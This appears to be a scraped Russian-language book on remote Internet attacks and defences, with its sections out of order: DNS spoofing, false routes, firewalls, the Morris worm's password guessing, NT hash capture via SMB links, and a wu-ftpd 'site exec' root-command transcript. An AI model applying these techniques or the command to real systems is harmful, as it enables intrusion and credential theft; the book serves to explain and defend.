4.7. Мифические удаленные атаки в сети Internet
5. Причины успеха удаленных атак на распределенные вычислительные системы и сеть Internet
5.1. Причины успеха удаленных атак на распределенные ВС
5.2. Причины успеха удаленных атак на сеть Internet
6. Принципы создания защищенных систем связи в распределенных вычислительных системах
6.1. Выделенный канал связи между объектами распределенной ВС
6.2. Виртуальный канал как средство обеспечения дополнительной идентификации/аутентификации объектов в распределенной ВС
6.3. Контроль за маршрутом сообщения в распределенной ВС
6.4. Контроль за виртуальными соединениями в распределенной ВС
6.5. Проектирование распределенной ВС с полностью определенной информацией о ее объектах с целью исключения алгоритмов удаленного поиска
7. Как защититься от удаленных атак в сети Internet?
7.1. Административные методы защиты от удаленных атак в сети Internet
7.2. Программно-аппаратные методы защиты от удаленных атак в сети Internet
8. Удаленные атаки на телекоммуникационные службы
8.1. Введение
8.2. Направления атак и типовые сценарии их осуществления в ОС UNIX
8.3 Начало, или до червя
8.4. Червь
8.5. После червя
8.6. Современная ситуация
8.7. Причины существования уязвимостей в UNIX-системах
8.8. Как же защитить свой хост
8.9. Средства автоматизированного контроля безопасности
Заключение
Литература
Приложение
Книга отзывов
Современная ситуация
В этом пункте мы наконец перейдем к рассмотрению ситуации с безопасностью UNIX в наши дни. Забегая вперед, сразу скажем, что принципиально ничего не изменилось. Возможно, ошибок в старых версиях UNIX стало меньше, зато появились и появляются новые версии UNIX и, что более важно, другие операционные системы выходят на рынок интернета. Возможно, пользователи стали уделять больше внимания своим паролям, но вычислительная мощность персональных компьютеров удваивается чуть ли не каждый год и программы-вскрыватели становятся все более изощренными. Видимо также, что сегодня хакер уже не будет искать какую-нибудь уязвимость в демонах типа telnetd или ftpd, он возьмет любой из малоизученных - типа httpd.
Далее мы, в большинстве случаев не станем приводить конкретные примеры (exploit) их использования по вполне понятным причинам (тем более что, к счастью, далеко не все уязвимости оглашались после того, как были замечены атаки, их использующие - иногда анализ исходного кода позволяет найти ошибку раньше, чем она начнет "работать" ).
Создание приватных сетей (Private
В том случае, если администратор безопасности сети считает целесообразным скрыть истинную топологию своей внутренней IP-сети, то ему можно порекомендовать использовать системы Firewall для создания приватной сети (PVN-сеть). Хостам в PVN-сети назначаются любые "виртуальные" IP-адреса. Для адресации во внешнюю сеть (через Firewall) необходимо либо использование на хосте Firewall описанных выше proxy-серверов, либо применение специальных систем роутинга (маршрутизации), только через которые и возможна внешняя адресация. Это происходит из-за того, что используемый во внутренней PVN-сети виртуальный IP-адрес, очевидно, не пригоден для внешней адресации (внешняя адресация - это адресация к абонентам, находящимся за пределами PVN-сети). Поэтому proxy-сервер или средство роутинга должно осуществлять связь с абонентами из внешней сети со своего настоящего IP-адреса. Кстати, эта схема удобна в том случае, если вам для создания IP-сети выделили недостаточное количество IP-адресов (в стандарте IPv4 это случается сплошь и рядом, поэтому для создания полноценной IP-сети с использованием proxy-схемы достаточно только одного выделенного IP-адреса для proxy-сервера).
Итак, любое устройство, реализующее хотя бы одну из этих функций Firewall-методики, и является Firewall-устройством. Например, ничто не мешает вам использовать в качестве Firewall-хоста компьютер с обычной ОС FreeBSD или Linux, у которой соответствующим образом необходимо скомпилировать ядро ОС. Firewall такого типа будет обеспечивать только многоуровневую фильтрацию IP-трафика. Другое дело, предлагаемые на рынке мощные Firewall-комплексы, сделанные на базе ЭВМ или мини-ЭВМ, обычно реализуют все функции Firewall-мето-дики и являются полнофункциональными системами Firewall. На следующем рисунке изображен сегмент сети, отделенный от внешней сети полнофункциональным Firewall-хостом.
Рис. 7.1. Обобщенная схема полнофункционального хоста Firewall.
Однако администраторам IP-сетей, поддавшись на рекламу систем Firewall, не стоит заблуждаться на тот счет, что Firewall это гарантия абсолютной защиты от удаленных атак в сети Internet. Firewall - не столько средство обеспечения безопасности, сколько возможность централизованно осуществлять сетевую политику разграничения удаленного доступа к доступным ресурсам вашей сети. Да, в том случае, если, например, к данному хосту запрещен удаленный TELNET-доступ, то Firewall однозначно предотвратит возможность данного доступа. Но дело в том, что большинство удаленных атак имеют совершенно другие цели (бессмысленно пытаться получить определенный вид доступа, если он запрещен системой Firewall). Действительно, зададим себе вопрос, а какие из рассмотренных в 4 главе удаленных атак может предотвратить Firewall? Анализ сетевого трафика (п. 4.1)? Очевидно, нет! Ложный ARP-сервер (п. 4.2)? И да, и нет (для защиты вовсе не обязательно использовать Firewall). Ложный DNS-сервер (п. 4.3)? Нет, к сожалению, Firewall вам тут не помощник. Навязывание ложного маршрута при помощи протокола ICMP (п. 4.4)? Да, эту атаку путем фильтрации ICMP-сообщений Firewall легко отразит (хотя достаточно будет фильтрующего маршрутизатора, например Cisco). Подмена одного из субъектов TCP-соединения (п. 4.5)? Ответ отрицательный; Firewall тут абсолютно не при чем. Нарушение работоспособности хоста путем создания направленного шторма ложных запросов или переполнения очереди запросов (п. 4.6)? В этом случае применение Firewall только ухудшит все дело. Атакующему для того, чтобы вывести из строя (отрезать от внешнего мира) все хосты внутри защищенного Firewall-системой сегмента, достаточно атаковать только один Firewall, а не несколько хостов (это легко объясняется тем, что связь внутренних хостов с внешним миром возможна только через Firewall).
Из всего вышесказанного отнюдь не следует, что использование систем Firewall абсолютно бессмысленно. Нет, на данный момент этой методике (именно как методике!) нет альтернативы. Однако надо четко понимать и помнить ее основное назначение. Нам представляется, что применение методики Firewall для обеспечения сетевой безопасности является необходимым, но отнюдь не достаточным условием, и не нужно считать, что, поставив Firewall, вы разом решите все проблемы с сетевой безопасностью и избавитесь от всех возможных удаленных атак из сети Internet. Прогнившую с точки зрения безопасности сеть Internet никаким отдельно взятым Firewall'ом не защитишь!
Специализированный Центр Защиты
предлагает:
анализ безопасности прикладного и системного программного обеспечения и подготовку материалов для сертификации;
разработку безопасных информационных систем;
разработку безопасных сетевых решений для корпоративных сетей, в т. ч. подключение к Internet;
оказание консультаций в области защиты информации, современных программных средств и современных сетевых решений;
обучение по специальности 22.07 "Организация и технология защиты информации" (квалификация: инженер, бакалавр, магистр);
краткосрочные курсы повышения квалификации администраторов безопасности;
книги и учебные пособия по информационной безопасности.
оказывает услуги:
восстановление работоспособности локальных сетей
Novell Netwarc, UNIX и Windows NT в случае утери пароля;
восстановление информации, утерянной в результате компьютерных вирусов или сбоев;
обнаружение и отражение удаленных атак в сетях Internet и Novell Netware.
Наш адрес: 195251, Санкт-Петербург,
Политехническая ул., д. 29, главное здание, ауд. 166,
Тел./факс (812) 552-64-89
E-mail: group@ssl.stu.neva.ru
WWW: www.ssl.stu.neva.ru
|
| |
|
<<< |
^^^ |
>>> |
Средства автоматизированного контроля безопасности
Мы уже говорили о полезности средства автоматизированного контроля безопасности отдельного компьютера, а также всей подсети, за которую он отвечает, для системного администратора. Естественно, что такие средства уже появлялись, и чаще других встречаются названия ISS (Internet Security Scaner), COPS (Computer Oracle and Password System) и, конечно, SATAN (Security Administrator Tool for Analizyng Networks). К сожалению, им обычно присущи следующие недостатки:
системозависимость - обычно они рассчитаны на вполне конкретную ОС или даже ее версию; ненадежность и неадекватность - если эти программы сообщают, что все "О'key" , это совсем не значит, что так на самом деле и есть; и наоборот - некая "уязвимость" , с их точки зрения, может оказаться специальным вариантом конфигурации системы; малое время жизни - т. к. с момента обнаружения уязвимости до ее искоренения проходит не очень большое время (порядка года), программа быстро устаревает; неактуальность - более того, с момента выхода программы в свет все новые (поэтому самые опасные) уязвимости оказываются неизвестными для нее, и ее ценность быстро сводится к нулю. Этот недостаток является самым серьезным; наконец, это возможность их использования с прямо противоположными целями - для поиска изъянов в вашей системе.
Можно заметить явную аналогию этих программ с антивирусными сканерами первого поколения - те знали лишь строго определенный набор вирусов, новые вирусы добавлялись только в следующем выпуске программы. Если посмотреть на возможности современных антивирусных программ - это и оперативное лечение вирусов, и автоматизированное пополнение базы вирусов самим пользователем, и поиск неизвестных вирусов, - то можно пожелать, чтобы хороший сканер интернета смог позаимствовать некоторые из них. В первую очередь - это возможность пополнения базы новыми уязвимостями. Причем в наши дни это несложно сделать - стоит лишь скачивать информацию с источников, занимающихся как раз сбором таких сведений, типа CERT или CIAC.
Стратегии, используемые вирусом
Для проникновения в компьютеры вирус использовал как алгоритмы подбора пароля (это подробнее будет описано в п. 8.4.4), так и "дыры" в различных коммуникационных программах, которые позволяли ему получать доступ без предъявления пароля. Рассмотрим подробнее эти "дыры" .
Это самая простая стратегия, способная
Это самая простая стратегия, способная определить только примитивные пароли. В качестве пароля предлагаются следующие варианты (для примера возьмем строчку из файла etc/passwd
user:encrypted password:100:5:Last First: /usr/user:/bin/sh ):
пароль вообще отсутствует; в качестве пароля берется входное имя пользователя (user); то же, но прочитанное справа налево (resu); пароль представляет собой двойной повтор имени пользователя (useruser); имя или фамилия пользователя (Last, First); то же, но в нижнем регистре (last, first).
Все эти атаки применялись к 50 паролям, накопленным во время фазы 0. Так как вирус пытался угадать пароли всех пользователей, он переходил к стратегии 2.
использует внутренний список из
Стратегия 2 использует внутренний список из 432 возможных паролей, являющихся, с точки зрения автора вируса, наиболее подходящими кандидатами на эту роль. В цикле проверки проверяется значение переменной pleasequit, чтобы перед выходом вирус проверил не менее 10 вариантов. Список содержится в закодированном виде (установлен старший бит) и перемешивается в начале проверки для того, чтобы пароли подбирались в случайном порядке.
Когда список слов исчерпан, вирус переходит к стратегии 3.
Эта стратегия использует для подбора
Эта стратегия использует для подбора пароля файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD (и других UNIX системах) как словарь для проверки орфографии. Если слово начинается с прописной буквы, то также проверяется и вариант со строчной буквой.
Типичные атаки
Далее мы рассмотрим типичные атаки на UNIX-хосты, которые осуществлялись в недалеком прошлом, и попытаемся классифицировать их по предложенным типовым сценариям. Почти все атаки даются с подробными листингами, т. к. потенциальный кракер все равно найдет их в том же интернете [16], а главное, что на сегодняшний день они являются достаточно устаревшими и представляют больше теоретический интерес.
Удаленное получение имени и пароля пользователя в Windows NT
В этом пункте, чтобы не быть голословными, мы рассмотрим одну примечательную атаку в интернете не на UNIX-систему. Примечательна она тем, что подтверждает предположение, что при выходе на рынок интернет новых операционных систем их ждет тот же тернистый путь в плане обеспечения безопасности, который UNIX уже частично прошла.
Этой атаке подвержена и самая современная версия ОС Windows NT 4.0 в сочетании опять-таки с последними версиями броузеров (browser) интернета Microsoft Internet Explorer 3.0x-4.0b или Netscape Navigator 3.x-4.0b2. Вот список уязвимых систем:
Windows 97 Beta (memphis), Windows NT 3.51 Workstation (видимо, и Server, но это не упоминается в оригинале), Windows NT 4.0 Server вплоть до Service Pack 2, Windows NT 4.0 Workstation вплоть до Service
Pack 2, Windows 95, включая Service Pack 1 и OSR2.
Для реализации этой атаки злоумышленником создается специальная HTML-страница "капкан" , которая, помимо всего прочего, содержит ссылку следующего вида: file://\\server\share\image.gif. Это ссылка на ресурсы в формате CIFS (Common Internet File System), находящиеся на другом хосте. CIFS -интернет-версия протокола SMB (Server Message Block), который используется Microsoft для разделения ресурсов в своих локальных сетях. Естественно, злоумышленнику нет никакой надобности использовать второй хост, он может сделать ссылку на себя.
Для того, чтобы пользователь смог обратиться к этим ресурсам (в нашем случае - скачать картинки), он должен зарегистрироваться на предложенном ему SMB-сервере (типа Lanman). Windows NT позволяет сделать это, даже не спрашивая пользователя о подтверждении: она просто передает имя и хэшированный пароль пользователя на сервер Lanman! Ну, а этот сервер, т. к. мы предполагаем, что он кракерский, запоминает имя и пароль пользователя для дальнейших криптоатак, самой успешной из которых, как обычно, будет по словарю.
Таким образом, то, о чем так давно не могли уже мечтать UNIX-хакеры, свершилось! Можно удаленно стянуть имя и зашифрованный пароль пользователя, за исключением того, правда, что эта атака пассивна - незадачливый "клиент" сам заходит на враждебный сайт, а не наоборот. Заметим, кстати, что скорость перебора NT-паролей достигает 2500 паролей/сек на современном Pentium. Но поскольку схема хэширования в NT несколько упрощена тем, что отсутствует понятие salt (см. п. 8.5.1), можно поднять ее на несколько порядков, если предварительно схэшировать весь файл паролей, а затем сравнивать результат с захваченным значением.
Представитель Microsoft Mike Nash, отвечающий за маркетинг Windows NT, узнав об этой уязвимости, заявил: "Хорошо, что люди тестируют наши продукты, и лучшее, что мы можем сделать - повысить осведомленность наших покупателей в вопросах безопасности" [15]. Что ж, позиция Microsoft в отношении безопасности своих продуктов, мягко говоря, всегда оставляла желать лучшего.
Удаленное выполнение и подбор паролей
Вирус использовал протокол удаленного выполнения программ (rexec), который требовал для выполнения программы на удаленной машине только имя пользователя и незашифрованный пароль. Программа применяла для этого имена пользователей локального (атакующего) хоста, используя тот факт, что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети. Эта, как и следующая, атака относится уже к сценарию 4.
Удаленные атаки на хосты Internet
|
Многое
Наша Земля повидала,
Но не видала
Такого скандала!
Б.Заходер. География всмятку.
| |
4.1. Анализ сетевого трафика сети Internet
4.2. Ложный ARP-сервер в сети Internet
4.3. Ложный DNS-сервер в сети Internet
4.4. Навязывание хосту ложного маршрута с использованием протокола ICMP с целью создания в сети Internet ложного маршрутизатора
4.5. Подмена одного из субъектов TCP-соединения в сети Internet (hijacking)
4.6. Нарушение работоспособности хоста в сети Internet при использовании направленного "шторма" ложных TCP-запросов на создание соединения, либо при переполнении очереди запросов
4.7. Мифические удаленные атаки в сети Internet
|
| |
|
<<< |
^^^ |
>>> |
Удаленные атаки на распределенные вычислительные системы
|
Непостижимо все, что в мире есть,
К тому ж изъянов в том, что есть, не счесть.
О.Хайам. Рубайи.
| |
Как уже отмечалось ранее, основной особенностью любой распределенной системы является то, что ее компоненты распределены в пространстве и связь между ними физически осуществляется при помощи сетевых соединений и программно при помощи механизма сообщений. При этом все управляющие сообщения и данные, пересылаемые между объектами распределенной ВС, передаются по сетевым соединениям в виде пакетов обмена. Эта особенность и является основной для рассматриваемых в этой главе удаленных атак на инфраструктуру и протоколы распределенных ВС.
3.1. Классификация удаленных атак на распределенные вычислительные системы
3.2. Характеристика и механизмы реализации типовых удаленных атак
|
| |
|
<<< |
^^^ |
>>> |
Удаленные атаки на телекоммуникационные службы
|
Извечной и зловещей мечтой вирусов является абсолютное мировое господство, и, как ни ужасны методы, коими они в настоящее время пользуются, им нельзя отказать в настойчивости, изобретательности и способности к самопожертвованию во имя великой цели.
А.Стругацкий, Б.Стругацкий.
Сказка о тройке.
| |
8.1. Введение
8.2. Направления атак и типовые сценарии их осуществления в ОС UNIX
8.3 Начало, или до червя
8.4. Червь
8.5. После червя
8.6. Современная ситуация
8.7. Причины существования уязвимостей в UNIX-системах
8.8. Как же защитить свой хост
8.9. Средства автоматизированного контроля безопасности
|
| |
|
<<< |
^^^ |
>>> |
Удаленный командный интерпретатор и доверенные хосты
Вирус пытался использовать программу запуска удаленного интерпретатора (rsh) для атаки других машин либо с полученным именем и паролем текущего пользователя, либо вообще без аутентификации, если атакуемая машина доверяет данной. (Файлы /etc/hosts.equiv и .rhosts содержат список машин, "доверяющих"данной, т. е. доступных для запуска rsh с данной машины.) Он пробовал три различных имени для rsh:
/usr/ucb/rsh;
/usr/bin/rsh;
/bin/rsh.
Удаленный интерпретатор по своей функции напоминает программу удаленного исполнения, но обладает более дружественным интерфейсом, так как дистанционно запускается командный интерпретатор, а не функция exec.
Уязвимости в wu-ftpd
FTP-демон wu-ftpd, написанный в вашингтонском университете, является значительным расширением стандартного ftpd. Как обычно, это приводит и к расширению, содержащимся в нем ошибок.
Самой известной из них является ошибка, позволяющая всего-навсего выполнить любую команду от имени суперпользователя, причем для удобства кракера в wu-ftp для этого есть специальная команда, которая так и называется "site exec" (выполнить на сайте) [26]. Эта атака интересна тем, что не подходит ни под один из сценариев: в принципе, она проходит аналогично типовым атакам по сценарию 1 или 2, взаимодействуя с удаленным демоном, но для ее успешности необходимы полномочия обычного пользователя:
evil#ftp victim.com
220 victim FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994) ready.
Name (victim:root): good
331 Password required for good.
Password: *****
230 User good logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id"
200-bash -c id
200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)
200 (end of 'bash -c id')
Видно, что в последней строчке на удаленном хосте выполнилась команда id от имени суперпользователя - это означает, что хост уязвим.
Другая уязвимость, которой подвержены версии
wu-ftpd, вплоть до самых последних, состоит в том, что при определенных условиях можно переполнить список аргументов команды, что приведет к сбросу демоном аварийного дампа памяти. Для этого нужны минимальные полномочия анонимного пользователя ftp. Что самое интересное, этот дамп будет иметь владельцем не root, как обычно бывает, а anonymous
и будет сбрасываться в его домашний каталог. Отсюда прямо следует, что он может быть позже прочитан удаленно. Ну, а чтение аварийного дампа равносильно копанию в корзине для бумаг на секретном объекте - среди мусора могут быть найдены очень любопытные вещи, например, сброшенные кэшированные пароли. Так что злоумышленнику останется только запустить взломщик паролей поновее.
Виртуальный канал как средство
В предыдущем пункте рассматривались возможные наиболее безопасные варианты физического построения сети: как в РВС необходимо соединять объекты для обеспечения наиболее безопасного взаимодействия. Однако, для создания защищенного взаимодействия удаленных объектов подобных мер явно недостаточно, так как, во-первых, на практике обеспечить взаимодействие всех объектов по выделенному каналу достаточно сложно и, во-вторых, нельзя не предусмотреть вариант физического подключения к каналу. Следовательно, разработчик защищенной системы связи в распределенной ВС должен исходить из следующего принципа:
Утверждение 2.
При построении защищенной системы связи в распределенной ВС необходимо исходить из того, что все сообщения, передаваемые по каналу связи, могут быть перехвачены, но это не должно повлечь за собой нарушения безопасности системы в целом.
Таким образом, данное утверждение накладывает на разработчика следующие требования: необходимость введения дополнительных средств идентификации объектов в распределенной ВС и криптозащита передаваемых по каналу связи сообщений.
В п. 5.1.2 доказывалось, что идентификация объектов РВС, в отсутствие статической ключевой информации, возможна только при взаимодействии объектов с использованием виртуального канала (заметим, что в дальнейшем рассматривается только распределенная ВС, у объектов которой отсутствует ключевая информация для связи друг с другом - в подобной системе решить задачу безопасного взаимодействия несколько сложнее). Следовательно, для того, чтобы ликвидировать причину успеха удаленных атак, описанную в п. 5.1.2.1, а также, исходя из Утверждения 2, необходимо руководствоваться следующим правилом:
Утверждение 3.
Любое взаимодействие двух объектов в распределенной ВС должно проходить по виртуальному каналу связи.
Рассмотрим, как в распределенной ВС виртуальный канал (ВК) связи может использоваться для надежной, независимой от топологии и физической организации системы, идентификации ее удаленных объектов.
Для этого при создании ВК могут использоваться криптоалгоритмы с открытым ключом (например, недавно в Internet принят подобный стандарт защиты ВК, называемый Secret Socket Layer - SSL). Данные криптоалгоритмы основаны на результатах исследований, полученных в 70-х годах У. Диффи. Он ввел понятие односторонней функции с потайным входом. Это не просто вычисляемая в одну сторону функция, обращение которой невозможно, она содержит потайной вход (trapdoor), который позволяет вычислять обратную функцию лицу, знающему секретный ключ. Сущность криптографии с открытым ключом (или двухключевой криптографии) в том, что ключи, имеющиеся в криптосистеме, входят в нее парами и каждая пара удовлетворяет следующим двум свойствам:
текст, зашифрованный на одном ключе, может быть дешифрован на другом; знание одного ключа не позволяет вычислить другой.
Поэтому один из ключей может быть опубликован. При опубликованном (открытом) ключе шифрования и секретном ключе дешифрования получается система шифрования с открытым ключом. Каждый пользователь сети связи может зашифровать сообщение при помощи открытого ключа, а расшифровать его сможет только владелец секретного ключа. При опубликовании ключа дешифрования получается система цифровой подписи. Здесь только владелец секретного ключа создания подписи может правильно зашифровать текст (т.е. подписать его), а проверить подпись (дешифровать текст) может любой на основании опубликованного ключа проверки подписи.
В 1976 г. У. Диффи и М. Хеллман предложили следующий метод открытого распределения ключей. Пусть два объекта A и B условились о выборе в качестве общей начальной информации большого простого числа p и примитивного корня степени p - 1 из 1 в поле вычетов по модулю p. Тогда эти пользователи действуют в соответствии с протоколом (рис. 6.4):
A вырабатывает случайное число x, вычисляет число ax (mod p) и посылает его B;
B вырабатывает случайное число y, вычисляет число ay (mod p) и посылает его A;
затем A и B возводят полученное число в степень со своим показателем и получают число axy (mod p).
Рис. 6.4. Алгоритм У. Диффи и М. Хеллмана открытого распределения ключей
Это число и является сеансовым ключом для одноключевого алгоритма, например, DES. Для раскрытия этого ключа криптоаналитику необходимо по известным ax (mod p), ay (mod p) найти axy (mod p) , т.е. найти x или y. Нахождение числа x по его экспоненте ax (mod p) называется задачей дискретного логарифмирования в простом поле. Эта задача является труднорешаемой, и поэтому полученный ключ, в принципе, может быть стойким [11].
Особенность данного криптоалгоритма состоит в том, что перехват по каналу связи пересылаемых в процессе создания виртуального канала сообщений ax (mod p) и ay (mod p) не позволит атакующему получить конечный ключ шифрования axy (mod p). Этот ключ далее должен использоваться, во-первых, для цифровой подписи сообщений и, во-вторых, для их криптозащиты. Цифровая подпись сообщений позволяет надежно идентифицировать объект распределенной ВС и виртуальный канал. Шифрование сообщений необходимо для соблюдения Утверждения 2. В заключении к данному пункту сформулируем следующее требование к созданию защищенных систем связи в распределенных ВС и два следствия из него:
Утверждение 4.
Для обеспечения надежной идентификации объектов распределенной ВС при создании виртуального канала необходимо использовать криптоалгоритмы с открытым ключом.
Следствие 4.1.
Необходимо обеспечить цифровую подпись сообщений.
Следствие 4.2.
Необходимо обеспечить возможность шифрования сообщений.
Вместо введения
|
Но сначала нам надо с тобой
договориться, как именно мы определим,
о чем мы советуемся, дабы не выходило,
что я разумею одно, ты же - другое...
Платон. Диалоги.
| |
В последние полтора-два года книжные прилавки стали заполняться всевозможными книгами и журналами, в названии которых присутствует слово "Internet" . Эти книги являются отражением того, что Internet пришел в Россию. Появились пользователи и провайдеры, с каждым днем растет количество всевозможных сайтов, начали формироваться свои службы, да и престиж заставляет некоторых подключаться к Internet. Появился и спрос на литературу об Internet.
Даже поверхностный анализ этой литературы показывает, что практически в каждой такой книге имеется материал, посвященный безопасности. Это может быть или глава, или раздел, или параграф. Анализ этого материала показывает, что в нем не дается ответ на главный вопрос: безопасна ли Internet и как обезопасить свой компьютер, подключенный к Internet?
Предлагаемая читателю книга целиком посвящена проблеме безопасности Internet. В отличие от других подобных изданий, она построена на принципе анализа возможных и существующих уязвимостей Сети, которые реализуются или могут быть реализованы в Internet. В книге рассматриваются практически все угрозы, поджидающие пользователя при работе с Internet. Те угрозы, которые поджидают каждого в этом удивительно интересном, но, подчеркиваем, опасном путешествии и работе в Сети.
1.1. Основные понятия компьютерной безопасности
1.2. Особенности безопасности компьютерных сетей
1.3. Хакеры и кракеры, или "Что такое хорошо и что такое плохо?"
1.4. Сетевая информационная безопасность: мифы и реальность
1.5. Новые законы УК РФ, связанные с "преступлениями в сфере компьютерной информации"
|
| |
|
<<< |
^^^ |
>>> |
Внедрение в распределенную ВС
В распределенной ВС часто оказывается, что ее удаленные объекты изначально не имеют достаточно информации, необходимой для адресации сообщений. Обычно такой информацией являются аппаратные (адрес сетевого адаптера) и логические (IP-адрес, например) адреса объектов РВС. Для получения подобной информации в распределенных ВС используются различные алгоритмы удаленного поиска, заключающиеся в передаче по сети специального вида поисковых запросов, и в ожидании ответов на запрос с искомой информацией. После получения ответа на запрос, запросивший субъект РВС обладает всеми необходимыми данными для адресации. Руководствуясь полученными из ответа сведениями об искомом объекте, запросивший субъект РВС начинает адресоваться к нему. Примером подобных запросов, на которых базируются алгоритмы удаленного поиска, могут служить SAP-запрос в ОС Novell NetWare [9], ARP- и DNS-запрос в сети Internet (п. 4.2 и 4.3).
В случае использования распределенной ВС механизмов удаленного поиска существует возможность на атакующем объекте перехватить посланный запрос и послать на него ложный ответ, где указать данные, использование которых приведет к адресации на атакующий ложный объект. В дальнейшем весь поток информации между субъектом и объектом взаимодействия будет проходить через ложный объект РВС.
Другой вариант внедрения в РВС ложного объекта использует недостатки алгоритма удаленного поиска и состоит в периодической передаче на атакуемый объект заранее подготовленного ложного ответа без приема поискового запроса. В самом деле, атакующему для того, чтобы послать ложный ответ, не всегда обязательно дожидаться приема запроса (он может, в принципе, не иметь подобной возможности перехвата запроса). При этом атакующий может спровоцировать атакуемый объект на передачу поискового запроса (п. 4.3.3), и тогда его ложный ответ будет немедленно иметь успех. Данная типовая удаленная атака чрезвычайно характерна для глобальных сетей, когда у атакующего из-за нахождения его в другом сегменте относительно цели атаки просто нет возможности перехватить поисковый запрос. Пример атаки данного типа на сеть Internet приведен в п. 4.3.3.
Ложный объект РВС - активное воздействие (класс 1.2), совершаемое с целью нарушения конфиденциальности (класс 2.1) и целостности информации (класс 2.2), которое может являться атакой по запросу от атакуемого объекта (класс 3.1), а также безусловной атакой (класс 3.3). Данная удаленная атака является как внутрисегментной (класс 5.1), так и межсегментной (класс 5.2), имеет обратную связь с атакуемым объектом (класс 4.1) и осуществляется на канальном (класс 6.2) и прикладном (класс 6.7) уровнях модели OSI.
Внедрение в распределенную ВС ложного объекта путем навязывания ложного маршрута
Современные глобальные сети представляют собой совокупность сегментов сети, связанных между собой через сетевые узлы. При этом маршрутом называется последовательность узлов сети, по которой данные передаются от источника к приемнику. Каждый маршрутизатор имеет специальную таблицу, называемую таблицей маршрутизации, в которой для каждого адресата указывается оптимальный маршрут. Отметим, что таблицы маршрутизации существуют не только у маршрутизаторов, но и у любых хостов в глобальной сети. Для обеспечения эффективной и оптимальной маршрутизации в распределенных ВС применяются специальные управляющие протоколы, позволяющие маршрутизаторам обмениваться информацией друг с другом (RIP (Routing Internet Protocol), OSPF (Open Shortest Path First)), уведомлять хосты о новом маршруте - ICMP (Internet Control Message Protocol), удаленно управлять маршрутизаторами (SNMP (Simple Network Management Protocol)). Важно отметить, что все описанные выше протоколы позволяют удаленно изменять маршрутизацию в сети Internet, то есть являются протоколами управления сетью.
Поэтому абсолютно очевидно, что маршрутизация в глобальных сетях играет важнейшую роль и, как следствие этого, может подвергаться атаке. Основная цель атаки, связанной с навязыванием ложного маршрута, состоит в том, чтобы изменить исходную маршрутизацию на объекте распределенной ВС так, чтобы новый маршрут проходил через ложный объект - хост атакующего.
Реализация данной типовой удаленной атаки состоит в несанкционированном использовании протоколов управления сетью для изменения исходных таблиц маршрутизации.
Для изменения маршрутизации атакующему необходимо послать по сети определенные данными протоколами управления сетью специальные служебные сообщения от имени сетевых управляющих устройств (напри-мер, маршрутизаторов). В результате успешного изменения маршрута атакующий получит полный контроль над потоком информации, которой обмениваются два объекта распределенной ВС, и атака перейдет во вторую стадию, связанную с приемом, анализом и передачей сообщений, получаемых от дезинформированных объектов РВС. Методы воздействия на перехваченную информацию приведены в п. 3.2.3.3. Пример атаки данного типа в сети Internet рассмотрен в п. 4.4.
Навязывание объекту РВС ложного маршрута - активное воздействие (класс 1.2), совершаемое с любой из целей из класса 2, безусловно по отношению к цели атаки (класс 3.3). Данная типовая удаленная атака может осуществляться как внутри одного сегмента (класс 5.1), так и межсегментно (класс 5.2), как с обратной связью (класс 4.1), так и без обратной связи с атакуемым объектом (класс 4.2) на транспортном (класс 6.3) и прикладном (класс 6.7) уровне модели OSI.
Внедрение в сеть Internet ложного
Другой вариант осуществления удаленной атаки, направленной на службу DNS, основан на второй разновидности типовой УА "Ложный объект РВС" (при использовании недостатков алгоритмов удаленного поиска - п. 3.2.3.2). В этом случае атакующий осуществляет постоянную передачу на атакуемый хост заранее подготовленного ложного DNS-ответа от имени настоящего DNS-сервера без приема DNS-запроса! Другими словами, атакующий создает в сети Internet направленный "шторм" ложных DNS-ответов. Это возможно, так как обычно для передачи DNS-запроса используется протокол UDP, в котором отсутствуют средства идентификации пакетов. Единственными критериями, предъявляемыми сетевой ОС хоста к полученному от DNS-сервера ответу, является, во-первых, совпадение IP-адреса отправителя ответа с IP-адресом DNS-серве-ра; во-вторых, чтобы в DNS-ответе было указано то же имя, что и в DNS-запросе, в-третьих, DNS-ответ должен быть направлен на тот же UDP-порт, с которого был послан DNS-запрос (в данном случае это первая проблема для атакующего), и, в-четвертых, в DNS-ответе поле идентификатора запроса в заголовке DNS (ID) должно содержать то же значение, что и в переданном DNS-запросе (а это вторая проблема).
В данном случае, так как атакующий не имеет возможности перехватить DNS-запрос, то основную проблему для него представляет номер UDP-порта, с которого был послан запрос. Однако, как было отмечено ранее, номер порта отправителя принимает ограниченный набор значений (>= 1023), поэтому атакующему достаточно действовать простым перебором, направляя ложные ответы на соответствующий перечень портов. На первый взгляд, второй проблемой может быть двухбайтовый идентификатор DNS-запроса, но, как подчеркивалось ранее, в данном случае он либо равен единице, либо в случае DNS-запроса от Netscape Navigator (например) имеет значение близкое к нулю (один запрос - ID увеличивается на 1).
Рис. 4.5. Внедрение в Internet ложного сервера путем создания
направленного "шторма" ложных DNS-ответов на атакуемый хост.
Рис. 4.5.1. Атакующий создает направленный "шторм"
ложных DNS-ответов на Хост 1.
Рис. 4.5.2. Хост 1 посылает DNS-запрос
и немедленно получает ложный DNS-ответ.
Рис. 4.5.3. Фаза приема, анализа, воздействия
и передачи перехваченной информации на ложном сервере.
Поэтому для осуществления данной удаленной атаки атакующему необходимо выбрать интересующий его хост (например, top.secret.com), маршрут к которому требуется изменить так, чтобы он проходил через ложный сервер - хост атакующего. Это достигается постоянной передачей (направленным "штормом" ) атакующим ложных DNS-ответов на атакуемый хост от имени настоящего DNS-сервера на соответствующие UDP-порты. В этих ложных DNS-ответах указывается в качестве IP-адреса хоста top.secret.com IP-адрес атакующего. Далее атака развивается по следующей схеме. Как только цель атаки (атакуемый хост) обратится по имени к хосту top.secret.com, то от данного хоста в сеть будет передан DNS-запрос, который атакующий никогда не получит, но этого ему и не требуется, так как на хост сразу же поступит постоянно передаваемый ложный DNS-ответ, что и будет воспринят ОС атакуемого хоста как настоящий ответ от DNS-сервера. Все! Атака состоялась, и теперь атакуемый хост будет передавать все пакеты, предназначенные для
top.secret.com, на IP-адрес хоста атакующего, который, в свою очередь, будет переправлять их на
top.secret.com, воздействуя на перехваченную информацию по схеме "Ложный объект РВС"
(п. 3.2.3.3).
Рассмотрим функциональную схему предложенной удаленной атаки на службу DNS (рис. 4.5):
